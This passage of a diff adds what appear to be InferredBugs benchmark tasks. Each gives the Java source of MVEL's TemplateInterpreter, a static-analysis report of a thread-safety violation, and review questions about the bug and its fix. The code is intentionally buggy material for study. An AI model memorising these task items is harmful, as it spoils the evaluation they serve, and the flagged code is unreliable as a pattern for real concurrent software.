+        return execute(ctx, tokens, null);
+    }
+
+    public Object execute(Object ctx, Map tokens, TemplateRegistry registry) {
+        if (nodes == null) {
+            return new String(expression);
+        }
+        else if (nodes.length == 2) {
+            /**
+             * This is an optimization for property expressions.
+             */
+            switch (nodes[0].getToken()) {
+                case PROPERTY_EX:
+                    //noinspection unchecked
+                    if (!cacheAggressively) {
+                        char[] seg = new char[expression.length - 3];
+                        arraycopy(expression, 2, seg, 0, seg.length);
+
+                        return MVEL.eval(seg, ctx, tokens);
+                    }
+                    else {
+                        String s = new String(expression, 2, expression.length - 3);
+                        if (!EX_PRECOMP_CACHE.containsKey(s)) {
+                            synchronized (EX_PRECOMP_CACHE) {
+                                EX_PRECOMP_CACHE.put(s, compileExpression(s));
+                                return executeExpression(EX_PRECOMP_CACHE.get(s), ctx, tokens);
+                            }
+                        }
+                        else {
+                            return executeExpression(EX_PRECOMP_CACHE.get(s), ctx, tokens);
+                        }
+
+                    }
+                case LITERAL:
+                    return new String(expression);
+
+            }
+
+            return new String(expression);
+        }
+
+        Object register = null;
+
+        StringAppender sbuf = new StringAppender(10);
+        Node currNode = null;
+
+        try {
+            //noinspection unchecked
+            MVELInterpretedRuntime oParser = new MVELInterpretedRuntime(ctx, tokens);
+
+            initStack();
+            pushAndForward();
+
+            while ((currNode = pop()) != null) {
+                node = currNode.getNode();
+
+                switch (currNode.getToken()) {
+                    case LITERAL: {
+                        sbuf.append(register = new String(expression, currNode.getStartPos(),
+                                currNode.getEndPos() - currNode.getStartPos()));
+                        break;
+                    }
+                    case PROPERTY_EX: {
+                        sbuf.append(
+                                valueOf(register = oParser.setExpressionArray(getInternalSegment(currNode)).parse())
+                        );
+                        break;
+                    }
+                    case IF:
+                    case ELSEIF: {
+                        try {
+                            if (!((Boolean) oParser.setExpressionArray(getInternalSegment(currNode)).parse())) {
+                                exitContext();
+                            }
+                        }
+                        catch (ClassCastException e) {
+                            throw new CompileException("IF expression does not return a boolean: " + new String(getSegment(currNode)));
+                        }
+                        break;
+                    }
+                    case FOREACH: {
+                        ForeachContext foreachContext = (ForeachContext) currNode.getRegister();
+                        if (foreachContext.getItererators() == null) {
+                            try {
+                                String[] lists = getForEachSegment(currNode).split(",");
+                                Iterator[] iters = new Iterator[lists.length];
+                                for (int i = 0; i < lists.length; i++) {
+                                    //noinspection unchecked
+                                    Object listObject = new MVELInterpretedRuntime(lists[i], ctx, tokens).parse();
+                                    if (listObject instanceof Object[]) {
+                                        listObject = Arrays.asList((Object[]) listObject);
+                                    }
+                                    iters[i] = ((Collection) listObject).iterator();
+                                }
+                                foreachContext.setIterators(iters);
+                            }
+                            catch (ClassCastException e) {
+                                throw new CompileException("expression for collections does not return a collections object: " + new String(getSegment(currNode)));
+                            }
+                            catch (NullPointerException e) {
+                                throw new CompileException("null returned for foreach in expression: " + (getForEachSegment(currNode)));
+                            }
+                        }
+
+                        Iterator[] iters = foreachContext.getItererators();
+                        String[] alias = currNode.getAlias().split(",");
+                        // must trim vars
+                        for (int i = 0; i < alias.length; i++) {
+                            alias[i] = alias[i].trim();
+                        }
+
+                        if (iters[0].hasNext()) {
+                            push();
+
+                            //noinspection unchecked
+                            for (int i = 0; i < iters.length; i++) {
+                                //noinspection unchecked
+                                tokens.put(alias[i], iters[i].next());
+                            }
+                            if (foreachContext.getCount() != 0) {
+                                sbuf.append(foreachContext.getSeperator());
+                            }
+                            //noinspection unchecked
+                            tokens.put("i0", foreachContext.getCount());
+                            foreachContext.setCount(foreachContext.getCount() + 1);
+                        }
+                        else {
+                            for (int i = 0; i < iters.length; i++) {
+                                tokens.remove(alias[i]);
+                            }
+                            foreachContext.setIterators(null);
+                            foreachContext.setCount(0);
+                            exitContext();
+                        }
+                        break;
+                    }
+                    case ELSE:
+                    case END:
+                        if (stack.isEmpty()) forwardAndPush();
+                        continue;
+                    case GOTO:
+                        pushNode(currNode.getEndNode());
+                        continue;
+                    case TERMINUS: {
+                        if (nodes.length != 2) {
+                            return sbuf.toString();
+                        }
+                        else {
+                            return register;
+                        }
+                    }
+                    case INCLUDE_BY_REF: {
+                        IncludeRef includeRef = (IncludeRef) nodes[node].getRegister();
+
+                        IncludeRefParam[] params = includeRef.getParams();
+                        Map<String, Object> vars = new HashMap<String, Object>(params.length * 2);
+                        for (IncludeRefParam param : params) {
+                            vars.put(param.getIdentifier(), MVEL.eval(param.getValue(), ctx, tokens));
+                        }
+
+                        if (registry == null) {
+                            throw new CompileException("No TemplateRegistry specified, cannot load template='" + includeRef.getName() + "'");
+                        }
+                        String template = registry.getTemplate(includeRef.getName());
+
+                        if (template == null) {
+                            throw new CompileException("Template does not exist in the TemplateRegistry, cannot load template='" + includeRef.getName() + "'");
+                        }
+
+                        sbuf.append(TemplateInterpreter.parse(template, ctx, vars, registry));
+                    }
+                }
+
+                forwardAndPush();
+            }
+            throw new CompileException("expression did not end properly: expected TERMINUS node");
+        }
+        catch (CompileException e) {
+            throw e;
+        }
+        catch (Exception e) {
+            if (currNode != null) {
+                throw new CompileException("problem encountered at node [" + currNode.getNode() + "] "
+                        + currNode.getToken() + "{" + currNode.getStartPos() + "," + currNode.getEndPos() + "}: " + e.getMessage(), e);
+            }
+            throw new CompileException("unhandled fatal exception (node:" + node + ")", e);
+        }
+    }
+
+    private void initStack() {
+        stack = new ExecutionStack();
+    }
+
+    private void push() {
+        push(nodes[node]);
+    }
+
+    private void push(Node node) {
+        if (node == null) return;
+        stack.push(node);
+    }
+
+    private void pushNode(int i) {
+        stack.push(nodes[i]);
+    }
+
+    private void exitContext() {
+        node = nodes[node].getEndNode() - 1;
+    }
+
+    public void forwardAndPush() {
+        node++;
+        push();
+    }
+
+    private void pushAndForward() {
+        push();
+        node++;
+    }
+
+    private Node pop() {
+        return (Node) stack.pop();
+    }
+
+    /**
+     * @param expression -
+     * @param ctx        -
+     * @param tokens     -
+     * @return -
+     * @deprecated
+     */
+    public static Object getValuePE(String expression, Object ctx, Map tokens) {
+        return new TemplateInterpreter(expression).execute(ctx, tokens);
+    }
+
+
+    /**
+     * @param expression -
+     * @param ctx        -
+     * @param preParseCx -
+     * @param value      -
+     * @deprecated
+     */
+    public static void setValuePE(String expression, Object ctx, Object preParseCx, Object value) {
+        PropertyAccessor.set(ctx, valueOf(eval(expression, preParseCx)), value);
+    }
+
+    public char[] getExpression() {
+        return expression;
+    }
+
+    public void setExpression(char[] expression) {
+        this.expression = expression;
+    }
+
+    private char[] getSegment(Node n) {
+        char[] ca = new char[n.getLength()];
+        arraycopy(expression, n.getStartPos(), ca, 0, ca.length);
+        return ca;
+    }
+
+    private char[] getInternalSegment(Node n) {
+        int start = n.getStartPos();
+        int depth = 1;
+
+        //noinspection StatementWithEmptyBody
+        while ((expression[start++] != '{')) ;
+
+        int end = start;
+        while (depth > 0) {
+            switch (expression[++end]) {
+                case'}':
+                    depth--;
+                    break;
+                case'{':
+                    depth++;
+                    break;
+            }
+        }
+
+        char[] ca = new char[end - start];
+        arraycopy(expression, start, ca, 0, ca.length);
+        return ca;
+    }
+
+    private String getForEachSegment(Node n) {
+        if (n.getAlias() == null) return new String(getInternalSegment(n));
+        else {
+            return n.getName();
+        }
+    }
+
+    public static boolean isCacheAggressively() {
+        return cacheAggressively;
+    }
+
+    public static void setCacheAggressively(boolean cacheAggressively) {
+        TemplateInterpreter.cacheAggressively = cacheAggressively;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.mvel.TemplateInterpreter.execute` indirectly reads without synchronization from `n$0.org.mvel.PropertyAccessor.curr.[_]`. Potentially races with write in method `TemplateInterpreter.setValuePE(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object TemplateInterpreter.execute(Object,Map,TemplateRegistry)
+
+### Procedure Id:
+org.mvel.TemplateInterpreter.execute(java.lang.Object,java.util.Map,org.mvel.TemplateRegistry):java..1141972e8c077bf084811e3faa3e1296
+
+### File:
+src/main/java/org/mvel/TemplateInterpreter.java
+
+### Key:
+TemplateInterpreter.java|execute|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+071a7709e8050fa55f45968b5a262ab8
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4767/instruction.md b/inferredbugs-4767/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..287433b2ef383594c364ad6d9bafd09a76d11448
--- /dev/null
+++ b/inferredbugs-4767/instruction.md
@@ -0,0 +1,716 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MVEL (The MVFLEX Expression Language)
+ *
+ * Copyright (C) 2007 Christopher Brock, MVFLEX/Valhalla Project and the Codehaus
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package org.mvel;
+
+import static org.mvel.MVEL.compileExpression;
+import static org.mvel.MVEL.executeExpression;
+import static org.mvel.NodeType.*;
+import org.mvel.TemplateCompiler.IncludeRef;
+import org.mvel.TemplateCompiler.IncludeRefParam;
+import org.mvel.util.ExecutionStack;
+import org.mvel.util.StringAppender;
+
+import java.io.*;
+import static java.lang.String.valueOf;
+import static java.lang.System.arraycopy;
+import java.nio.ByteBuffer;
+import static java.nio.ByteBuffer.allocateDirect;
+import java.nio.channels.ReadableByteChannel;
+import java.util.*;
+import static java.util.Collections.synchronizedMap;
+
+/**
+ * The MVEL Template Interpreter.  Naming this an "Interpreter" is not inaccurate.   All template expressions
+ * are pre-compiled by the the {@link TemplateCompiler} prior to being processed by this interpreter.<br/>
+ * <br/>
+ * Under normal circumstances, it is completely acceptable to execute the parser/interpreter from the static
+ * convenience methods in this class.
+ *
+ * @author Christopher Brock
+ */
+public class TemplateInterpreter {
+
+    public static boolean cacheAggressively = false;
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template - the template to be evaluated
+     * @param ctx      - the virtual root / context of the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Object ctx) {
+        return valueOf(eval(template, ctx));
+    }
+
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template  - the template to be evaluated
+     * @param variables - a map of variables for use in the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Map variables) {
+        return valueOf(eval(template, variables));
+    }
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template  - the template to be evaluated
+     * @param ctx       - the virtual root / context of the expression.
+     * @param variables - a map of variables for use in the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Object ctx, Map variables) {
+        return valueOf(eval(template, ctx, variables));
+    }
+
+    /**
+     * @param template - the template to be evaluated
+     * @param ctx      - the virtual root / context of the expression.
+     * @return see description.
+     * @see #eval(String,Object,Map)
+     */
+    public static Object eval(String template, Object ctx) {
+        if (template == null) return null;
+        return new TemplateInterpreter(template).execute(ctx, null);
+    }
+
+    /**
+     * @param template  - the template to be evaluated
+     * @param variables - a map of variables for use in the expression.
+     * @return see description.
+     * @see #eval(String,Object,Map)
+     */
+    public static Object eval(String template, Map variables) {
+        //noinspection unchecked
+        return new TemplateInterpreter(template).execute(null, variables);
+    }
+
+    /**
+     * Compiles, interprets and returns the result from a template.  The value that this returns is dependant
+     * on whether or not the template actually contains any literal values.<br/>
+     * <br/>
+     * For example, an expression that is simply "<tt>@{foobar}</tt>" will return the value of <tt>foobar</tt>,
+     * not a string value.  An expression that only contains a single tag is a defacto expression and is not
+     * considered a template.<br/>
+     * <br/>
+     * An expression such as "<tt>Hello my name is: @{name}</tt>" will return the a String value as it clearly a
+     * template.<br/>
+     *
+     * @param template  - the template to be evaluated
+     * @param ctx       - the virtual root / context of the expression.
+     * @param variables - a map of variables for use in the expression.
+     * @return see description.
+     */
+    public static Object eval(String template, Object ctx, Map variables) {
+        if (template == null) return null;
+        //noinspection unchecked
+        return new TemplateInterpreter(template).execute(ctx, variables);
+    }
+
+    private char[] expression;
+    private boolean debug = false;
+    private Node[] nodes;
+    private int node = 0;
+
+    private static final Map<CharSequence, char[]> EX_PRECACHE;
+    private static final Map<Object, Node[]> EX_NODE_CACHE;
+    private static final Map<Object, Serializable> EX_PRECOMP_CACHE;
+
+    static {
+        if (MVEL.THREAD_SAFE) {
+            EX_PRECACHE = synchronizedMap(new WeakHashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = synchronizedMap(new WeakHashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = synchronizedMap(new WeakHashMap<Object, Serializable>());
+        }
+        else if (MVEL.WEAK_CACHE || MVEL.NO_JIT) {
+            EX_PRECACHE = (new WeakHashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = (new WeakHashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = (new WeakHashMap<Object, Serializable>());
+        }
+        else {
+            EX_PRECACHE = (new HashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = (new HashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = (new HashMap<Object, Serializable>());
+        }
+    }
+
+    static void configureFactory() {
+    }
+
+    private ExecutionStack stack;
+
+    /**
+     * Creates a new intepreter
+     *
+     * @param template -
+     */
+    public TemplateInterpreter(CharSequence template) {
+        synchronized (Runtime.getRuntime()) {
+
+            if (!EX_PRECACHE.containsKey(template)) {
+                EX_PRECACHE.put(template, this.expression = template.toString().toCharArray());
+                nodes = new TemplateCompiler(this).compileExpression();
+                Node[] nodes = cloneAll(EX_NODE_CACHE.get(expression));
+
+                EX_NODE_CACHE.put(template, nodes);
+            }
+            else {
+                this.expression = EX_PRECACHE.get(template);
+                try {
+                    this.nodes = cloneAll(EX_NODE_CACHE.get(expression));
+                }
+                catch (NullPointerException e) {
+                    EX_NODE_CACHE.remove(expression);
+                    nodes = new TemplateCompiler(this).compileExpression();
+                    EX_NODE_CACHE.put(expression, cloneAll(nodes));
+                }
+
+            }
+
+        }
+
+        //    cloneAllNodes();
+
+    }
+
+    private Node[] cloneAll(Node[] nodes) {
+        Node[] newNodes = new Node[nodes.length];
+
+        try {
+            int i = 0;
+            for (Node n : nodes) {
+                newNodes[i++] = n.clone();
+            }
+        }
+        catch (CloneNotSupportedException e) {
+
+        }
+
+        return newNodes;
+    }
+
+
+    public TemplateInterpreter(String expression) {
+        synchronized (Runtime.getRuntime()) {
+            if (!EX_PRECACHE.containsKey(expression)) {
+                EX_PRECACHE.put(expression, this.expression = expression.toCharArray());
+                nodes = new TemplateCompiler(this).compileExpression();
+                EX_NODE_CACHE.put(expression, nodes);
+                this.nodes = cloneAll(nodes);
+            }
+            else {
+                this.expression = EX_PRECACHE.get(expression);
+                try {
+                    this.nodes = cloneAll(EX_NODE_CACHE.get(expression));
+                }
+                catch (NullPointerException e) {
+                    EX_NODE_CACHE.remove(expression);
+                    nodes = new TemplateCompiler(this).compileExpression();
+                    EX_NODE_CACHE.put(expression, nodes);
+                    this.nodes = cloneAll(nodes);
+                }
+            }
+        }
+    }
+
+    public TemplateInterpreter(char[] expression) {
+        this.expression = expression;
+    }
+
+    public boolean isDebug() {
+        return debug;
+    }
+
+    public void setDebug(boolean debug) {
+        this.debug = debug;
+    }
+
+    public static void parseToStream(File template, Object ctx, Map tokens, OutputStream out)
+            throws IOException {
+
+        //noinspection unchecked
+        Object result = parse(template, ctx, tokens);
+        CharSequence cs;
+
+        if (result == null) return;
+        else if (result instanceof CharSequence) {
+            cs = (CharSequence) result;
+        }
+        else {
+            cs = valueOf(result);
+        }
+
+        OutputStreamWriter writer = new OutputStreamWriter(out);
+
+        int len = cs.length();
+        for (int i = 0; i < len; i++) {
+            writer.write(cs.charAt(i));
+        }
+        writer.flush();
+        writer.close();
+    }
+
+    public static Object parse(File file, Object ctx, Map tokens) throws IOException {
+        return parse(file, ctx, tokens, null);
+    }
+
+    public static Object parse(File file, Object ctx, Map tokens, TemplateRegistry registry) throws IOException {
+        if (!file.exists())
+            throw new CompileException("cannot find file: " + file.getName());
+
+        FileInputStream inStream = null;
+        ReadableByteChannel fc = null;
+        try {
+            inStream = new FileInputStream(file);
+            fc = inStream.getChannel();
+            ByteBuffer buf = allocateDirect(10);
+
+            StringAppender sb = new StringAppender((int) file.length());
+
+            int read = 0;
+            while (read >= 0) {
+                buf.rewind();
+                read = fc.read(buf);
+                buf.rewind();
+
+                for (; read > 0; read--) {
+                    sb.append((char) buf.get());
+                }
+            }
+
+            //noinspection unchecked
+            return parse(sb, ctx, tokens, registry);
+
+        }
+        catch (FileNotFoundException e) {
+            // this can't be thrown, we check for this explicitly.
+        }
+        finally {
+            if (inStream != null) inStream.close();
+            if (fc != null) fc.close();
+        }
+
+        return null;
+    }
+
+    public static Object parse(CharSequence expression, Object ctx, Map vars) {
+        return parse(expression, ctx, vars, null);
+    }
+
+    public static Object parse(CharSequence expression, Object ctx, Map vars, TemplateRegistry registry) {
+        if (expression == null) return null;
+        //noinspection unchecked
+        return new TemplateInterpreter(expression).execute(ctx, vars, registry);
+    }
+
+    public static Object parse(String expression, Object ctx, Map vars) {
+        return parse(expression, ctx, vars, null);
+    }
+
+    public static Object parse(String expression, Object ctx, Map vars, TemplateRegistry registry) {
+        if (expression == null) return null;
+
+        //noinspection unchecked
+        return new TemplateInterpreter(expression).execute(ctx, vars, registry);
+    }
+
+    public Object execute(Object ctx, Map tokens) {
+        return execute(ctx, tokens, null);
+    }
+
+    public Object execute(Object ctx, Map tokens, TemplateRegistry registry) {
+        if (nodes == null) {
+            return new String(expression);
+        }
+        else if (nodes.length == 2) {
+            /**
+             * This is an optimization for property expressions.
+             */
+            switch (nodes[0].getToken()) {
+                case PROPERTY_EX:
+                    //noinspection unchecked
+                    if (!cacheAggressively) {
+                        char[] seg = new char[expression.length - 3];
+                        arraycopy(expression, 2, seg, 0, seg.length);
+
+                        return MVEL.eval(seg, ctx, tokens);
+                    }
+                    else {
+                        String s = new String(expression, 2, expression.length - 3);
+                        if (!EX_PRECOMP_CACHE.containsKey(s)) {
+                            synchronized (EX_PRECOMP_CACHE) {
+                                EX_PRECOMP_CACHE.put(s, compileExpression(s));
+                                return executeExpression(EX_PRECOMP_CACHE.get(s), ctx, tokens);
+                            }
+                        }
+                        else {
+                            return executeExpression(EX_PRECOMP_CACHE.get(s), ctx, tokens);
+                        }
+
+                    }
+                case LITERAL:
+                    return new String(expression);
+
+            }
+
+            return new String(expression);
+        }
+
+        Object register = null;
+
+        StringAppender sbuf = new StringAppender(10);
+        Node currNode = null;
+
+        try {
+            //noinspection unchecked
+            MVELInterpretedRuntime oParser = new MVELInterpretedRuntime(ctx, tokens);
+
+            initStack();
+            pushAndForward();
+
+            while ((currNode = pop()) != null) {
+                node = currNode.getNode();
+
+                switch (currNode.getToken()) {
+                    case LITERAL: {
+                        sbuf.append(register = new String(expression, currNode.getStartPos(),
+                                currNode.getEndPos() - currNode.getStartPos()));
+                        break;
+                    }
+                    case PROPERTY_EX: {
+                        sbuf.append(
+                                valueOf(register = oParser.setExpressionArray(getInternalSegment(currNode)).parse())
+                        );
+                        break;
+                    }
+                    case IF:
+                    case ELSEIF: {
+                        try {
+                            if (!((Boolean) oParser.setExpressionArray(getInternalSegment(currNode)).parse())) {
+                                exitContext();
+                            }
+                        }
+                        catch (ClassCastException e) {
+                            throw new CompileException("IF expression does not return a boolean: " + new String(getSegment(currNode)));
+                        }
+                        break;
+                    }
+                    case FOREACH: {
+                        ForeachContext foreachContext = (ForeachContext) currNode.getRegister();
+                        if (foreachContext.getItererators() == null) {
+                            try {
+                                String[] lists = getForEachSegment(currNode).split(",");
+                                Iterator[] iters = new Iterator[lists.length];
+                                for (int i = 0; i < lists.length; i++) {
+                                    //noinspection unchecked
+                                    Object listObject = new MVELInterpretedRuntime(lists[i], ctx, tokens).parse();
+                                    if (listObject instanceof Object[]) {
+                                        listObject = Arrays.asList((Object[]) listObject);
+                                    }
+                                    iters[i] = ((Collection) listObject).iterator();
+                                }
+                                foreachContext.setIterators(iters);
+                            }
+                            catch (ClassCastException e) {
+                                throw new CompileException("expression for collections does not return a collections object: " + new String(getSegment(currNode)));
+                            }
+                            catch (NullPointerException e) {
+                                throw new CompileException("null returned for foreach in expression: " + (getForEachSegment(currNode)));
+                            }
+                        }
+
+                        Iterator[] iters = foreachContext.getItererators();
+                        String[] alias = currNode.getAlias().split(",");
+                        // must trim vars
+                        for (int i = 0; i < alias.length; i++) {
+                            alias[i] = alias[i].trim();
+                        }
+
+                        if (iters[0].hasNext()) {
+                            push();
+
+                            //noinspection unchecked
+                            for (int i = 0; i < iters.length; i++) {
+                                //noinspection unchecked
+                                tokens.put(alias[i], iters[i].next());
+                            }
+                            if (foreachContext.getCount() != 0) {
+                                sbuf.append(foreachContext.getSeperator());
+                            }
+                            //noinspection unchecked
+                            tokens.put("i0", foreachContext.getCount());
+                            foreachContext.setCount(foreachContext.getCount() + 1);
+                        }
+                        else {
+                            for (int i = 0; i < iters.length; i++) {
+                                tokens.remove(alias[i]);
+                            }
+                            foreachContext.setIterators(null);
+                            foreachContext.setCount(0);
+                            exitContext();
+                        }
+                        break;
+                    }
+                    case ELSE:
+                    case END:
+                        if (stack.isEmpty()) forwardAndPush();
+                        continue;
+                    case GOTO:
+                        pushNode(currNode.getEndNode());
+                        continue;
+                    case TERMINUS: {
+                        if (nodes.length != 2) {
+                            return sbuf.toString();
+                        }
+                        else {
+                            return register;
+                        }
+                    }
+                    case INCLUDE_BY_REF: {
+                        IncludeRef includeRef = (IncludeRef) nodes[node].getRegister();
+
+                        IncludeRefParam[] params = includeRef.getParams();
+                        Map<String, Object> vars = new HashMap<String, Object>(params.length * 2);
+                        for (IncludeRefParam param : params) {
+                            vars.put(param.getIdentifier(), MVEL.eval(param.getValue(), ctx, tokens));
+                        }
+
+                        if (registry == null) {
+                            throw new CompileException("No TemplateRegistry specified, cannot load template='" + includeRef.getName() + "'");
+                        }
+                        String template = registry.getTemplate(includeRef.getName());
+
+                        if (template == null) {
+                            throw new CompileException("Template does not exist in the TemplateRegistry, cannot load template='" + includeRef.getName() + "'");
+                        }
+
+                        sbuf.append(TemplateInterpreter.parse(template, ctx, vars, registry));
+                    }
+                }
+
+                forwardAndPush();
+            }
+            throw new CompileException("expression did not end properly: expected TERMINUS node");
+        }
+        catch (CompileException e) {
+            throw e;
+        }
+        catch (Exception e) {
+            if (currNode != null) {
+                throw new CompileException("problem encountered at node [" + currNode.getNode() + "] "
+                        + currNode.getToken() + "{" + currNode.getStartPos() + "," + currNode.getEndPos() + "}: " + e.getMessage(), e);
+            }
+            throw new CompileException("unhandled fatal exception (node:" + node + ")", e);
+        }
+    }
+
+    private void initStack() {
+        stack = new ExecutionStack();
+    }
+
+    private void push() {
+        push(nodes[node]);
+    }
+
+    private void push(Node node) {
+        if (node == null) return;
+        stack.push(node);
+    }
+
+    private void pushNode(int i) {
+        stack.push(nodes[i]);
+    }
+
+    private void exitContext() {
+        node = nodes[node].getEndNode() - 1;
+    }
+
+    public void forwardAndPush() {
+        node++;
+        push();
+    }
+
+    private void pushAndForward() {
+        push();
+        node++;
+    }
+
+    private Node pop() {
+        return (Node) stack.pop();
+    }
+
+    /**
+     * @param expression -
+     * @param ctx        -
+     * @param tokens     -
+     * @return -
+     * @deprecated
+     */
+    public static Object getValuePE(String expression, Object ctx, Map tokens) {
+        return new TemplateInterpreter(expression).execute(ctx, tokens);
+    }
+
+
+    /**
+     * @param expression -
+     * @param ctx        -
+     * @param preParseCx -
+     * @param value      -
+     * @deprecated
+     */
+    public static void setValuePE(String expression, Object ctx, Object preParseCx, Object value) {
+        PropertyAccessor.set(ctx, valueOf(eval(expression, preParseCx)), value);
+    }
+
+    public char[] getExpression() {
+        return expression;
+    }
+
+    public void setExpression(char[] expression) {
+        this.expression = expression;
+    }
+
+    private char[] getSegment(Node n) {
+        char[] ca = new char[n.getLength()];
+        arraycopy(expression, n.getStartPos(), ca, 0, ca.length);
+        return ca;
+    }
+
+    private char[] getInternalSegment(Node n) {
+        int start = n.getStartPos();
+        int depth = 1;
+
+        //noinspection StatementWithEmptyBody
+        while ((expression[start++] != '{')) ;
+
+        int end = start;
+        while (depth > 0) {
+            switch (expression[++end]) {
+                case'}':
+                    depth--;
+                    break;
+                case'{':
+                    depth++;
+                    break;
+            }
+        }
+
+        char[] ca = new char[end - start];
+        arraycopy(expression, start, ca, 0, ca.length);
+        return ca;
+    }
+
+    private String getForEachSegment(Node n) {
+        if (n.getAlias() == null) return new String(getInternalSegment(n));
+        else {
+            return n.getName();
+        }
+    }
+
+    public static boolean isCacheAggressively() {
+        return cacheAggressively;
+    }
+
+    public static void setCacheAggressively(boolean cacheAggressively) {
+        TemplateInterpreter.cacheAggressively = cacheAggressively;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.mvel.TemplateInterpreter.parse` indirectly writes to field `n$136.org.mvel.ASTNode.accessor` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object TemplateInterpreter.parse(File,Object,Map,TemplateRegistry)
+
+### Procedure Id:
+org.mvel.TemplateInterpreter.parse(java.io.File,java.lang.Object,java.util.Map,org.mvel.TemplateRegi.f4ac920143a8cc18ad7d8f98054a1a7f
+
+### File:
+src/main/java/org/mvel/TemplateInterpreter.java
+
+### Key:
+TemplateInterpreter.java|parse|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+90c3a72945baa02e923e801983215e12
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4768/instruction.md b/inferredbugs-4768/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8a9c5309cdf7377540e8af5755d5bded5cf96124
--- /dev/null
+++ b/inferredbugs-4768/instruction.md
@@ -0,0 +1,651 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MVEL (The MVFLEX Expression Language)
+ *
+ * Copyright (C) 2007 Christopher Brock, MVFLEX/Valhalla Project and the Codehaus
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package org.mvel;
+
+import static org.mvel.NodeType.*;
+import org.mvel.util.ExecutionStack;
+import org.mvel.util.StringAppender;
+
+import java.io.*;
+
+import static java.lang.Character.isWhitespace;
+import static java.lang.String.valueOf;
+import static java.lang.System.arraycopy;
+import java.nio.ByteBuffer;
+import static java.nio.ByteBuffer.allocateDirect;
+import java.nio.channels.ReadableByteChannel;
+import java.util.Collection;
+import static java.util.Collections.synchronizedMap;
+
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.WeakHashMap;
+
+/**
+ * The MVEL Template Interpreter.  Naming this an "Interpreter" is not inaccurate.   All template expressions
+ * are pre-compiled by the the {@link TemplateCompiler} prior to being processed by this interpreter.<br/>
+ * <br/>
